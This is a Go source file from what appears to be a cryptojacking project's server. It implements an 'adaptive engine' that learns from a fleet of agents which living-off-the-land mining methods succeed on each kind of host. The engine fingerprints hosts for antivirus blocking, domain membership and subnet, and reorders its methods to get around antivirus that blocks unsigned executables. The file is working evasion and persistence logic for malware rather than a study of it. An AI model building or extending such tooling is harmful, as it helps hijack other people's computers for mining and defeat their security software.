Files
AetherForge 85376eac7c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet adaptive strategy engine for proactive LOTL tier ordering
2026-06-07 01:15:18 -07:00

326 lines
9.0 KiB
Go

package strategy
import (
"encoding/json"
"log"
"math"
"sort"
"strconv"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
)
const (
rescoreInterval = 5 * time.Minute
minSamplesForSkip = 3
skipFailureRate = 0.85
promoteHashrateMin = 1.0
)
// RescoreInterval is how often the hub background loop recomputes strategies.
const RescoreInterval = rescoreInterval
// AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order.
type AdaptiveEngine struct {
db *db.Database
enabled bool
mu sync.RWMutex
agentFingerprints map[string]HostFingerprint
}
func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine {
return &AdaptiveEngine{
db: database,
enabled: enabled,
agentFingerprints: make(map[string]HostFingerprint),
}
}
func (e *AdaptiveEngine) Enabled() bool {
e.mu.RLock()
defer e.mu.RUnlock()
return e.enabled
}
func (e *AdaptiveEngine) SetEnabled(on bool) {
e.mu.Lock()
e.enabled = on
e.mu.Unlock()
}
func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) {
if agentID == "" {
return
}
e.mu.Lock()
e.agentFingerprints[agentID] = fp
e.mu.Unlock()
}
func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint {
e.mu.RLock()
defer e.mu.RUnlock()
return e.agentFingerprints[agentID]
}
// AgentFingerprint returns the latest remembered fingerprint for an agent.
func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint {
return e.agentFingerprint(agentID)
}
// RecordOutcome persists one tier attempt for fleet learning.
func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) {
if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" {
return
}
if fp.GOOS == "" {
fp = e.agentFingerprint(agentID)
}
e.RememberAgentFingerprint(agentID, fp)
phase = strings.TrimSpace(phase)
if phase == "" {
phase = "mining"
}
if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil {
log.Printf("[strategy] record outcome: %v", err)
}
}
// ScoreTierOrder returns a reordered tier list with transparent reasoning.
func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy {
base := append([]string(nil), DefaultMiningTierOrder...)
now := nowRFC3339()
reasoning := []StrategyReason{{
Fact: "Host fingerprint: " + describeFingerprint(fp),
Inference: "Fleet adaptive engine scores tiers from your machines only",
Action: "Starting from default mining tier order",
}}
if !e.Enabled() || e.db == nil {
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now}
}
stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS)
if err != nil {
log.Printf("[strategy] aggregate outcomes: %v", err)
return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now}
}
type tierScore struct {
tier string
score float64
}
scores := make([]tierScore, 0, len(base))
skipSet := make(map[string]bool)
indexOf := make(map[string]int, len(base))
for i, t := range base {
indexOf[t] = i
scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)})
}
totalSamples := 0
for _, s := range stats {
totalSamples += s.Total
}
for _, s := range stats {
if s.Total == 0 {
continue
}
successRate := float64(s.Successes) / float64(s.Total)
idx, ok := indexOf[s.Tier]
if !ok {
continue
}
bonus := successRate * 12.0
if s.MaxHashrate >= promoteHashrateMin {
bonus += 8.0
reasoning = append(reasoning, StrategyReason{
Fact: tierLabel(s.Tier) + " produced hashrate on similar hosts",
Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket",
Action: "Promote " + tierLabel(s.Tier) + " in tier order",
})
}
if successRate >= 0.5 && s.Successes > 0 {
reasoning = append(reasoning, StrategyReason{
Fact: tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this",
Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts",
Action: "Boost " + tierLabel(s.Tier) + " priority",
})
}
if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 {
skipSet[s.Tier] = true
reasoning = append(reasoning, StrategyReason{
Fact: tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS,
Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket",
Action: "Skip " + tierLabel(s.Tier) + " for this host profile",
})
}
scores[idx].score += bonus - (1.0-successRate)*6.0
}
if fp.GOOS == "windows" && fp.Docker {
if idx, ok := indexOf["container"]; ok {
scores[idx].score += 6
reasoning = append(reasoning, StrategyReason{
Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops",
Action: "Prefer container / docker_load before raw subprocess",
})
}
if idx, ok := indexOf["docker_load"]; ok {
scores[idx].score += 4
}
}
if fp.AVBlocks {
if idx, ok := indexOf["exe_subprocess"]; ok {
scores[idx].score -= 8
reasoning = append(reasoning, StrategyReason{
Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts",
Action: "Demote exe_subprocess; try in-process or container first",
})
}
if idx, ok := indexOf["cpu_inprocess"]; ok {
scores[idx].score += 5
}
}
if fp.WSL {
if idx, ok := indexOf["wsl"]; ok {
scores[idx].score += 4
}
}
if fp.GPU {
if idx, ok := indexOf["gpu_subprocess"]; ok {
scores[idx].score += 3
}
}
sort.SliceStable(scores, func(i, j int) bool {
if scores[i].score == scores[j].score {
return indexOf[scores[i].tier] < indexOf[scores[j].tier]
}
return scores[i].score > scores[j].score
})
order := make([]string, 0, len(scores))
seen := make(map[string]bool, len(scores))
for _, s := range scores {
if seen[s.tier] || skipSet[s.tier] {
continue
}
order = append(order, s.tier)
seen[s.tier] = true
}
skipTiers := make([]string, 0, len(skipSet))
for _, t := range base {
if skipSet[t] {
skipTiers = append(skipTiers, t)
}
}
if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 {
reasoning = append(reasoning, StrategyReason{
Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint",
Action: "Apply personalized order before agent tries default path",
})
}
confidence := 0.35
if totalSamples > 0 {
confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02)
}
return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now}
}
func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy {
strat := e.ScoreTierOrder(fp)
if e.db == nil || agentID == "" {
return strat
}
e.RememberAgentFingerprint(agentID, fp)
raw, _ := json.Marshal(strat)
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
log.Printf("[strategy] cache strategy: %v", err)
}
return strat
}
func (e *AdaptiveEngine) RecomputeAll() (int, error) {
if !e.Enabled() || e.db == nil {
return 0, nil
}
agents, err := e.db.ListAgentStrategyFingerprints()
if err != nil {
return 0, err
}
count := 0
for agentID, fpKey := range agents {
fp := parseFingerprintKey(fpKey)
strat := e.ScoreTierOrder(fp)
raw, _ := json.Marshal(strat)
if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
continue
}
count++
}
return count, nil
}
func parseFingerprintKey(key string) HostFingerprint {
parts := strings.Split(key, "|")
fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"}
if len(parts) > 0 && parts[0] != "" {
fp.GOOS = parts[0]
}
if len(parts) > 1 {
fp.Docker = parts[1] == "1"
}
if len(parts) > 2 {
fp.WSL = parts[2] == "1"
}
if len(parts) > 3 {
fp.GPU = parts[3] == "1"
}
if len(parts) > 4 {
fp.AVBlocks = parts[4] == "1"
}
if len(parts) > 5 {
fp.DomainJoined = parts[5] == "1"
}
if len(parts) > 6 {
fp.Subnet = parts[6]
}
return fp
}
func describeFingerprint(fp HostFingerprint) string {
chips := []string{fp.GOOS}
if fp.Docker {
chips = append(chips, "docker")
}
if fp.WSL {
chips = append(chips, "wsl")
}
if fp.GPU {
chips = append(chips, "gpu")
}
if fp.AVBlocks {
chips = append(chips, "av_blocks")
}
if fp.DomainJoined {
chips = append(chips, "domain_joined")
}
if fp.Subnet != "" {
chips = append(chips, "subnet:"+fp.Subnet)
}
return strings.Join(chips, ", ")
}
func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") }
func formatPct(v float64) string { return formatFloat(v*100) + "%" }
func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) }
func itoa(n int) string { return strconv.Itoa(n) }
func round2(v float64) float64 { return math.Round(v*100) / 100 }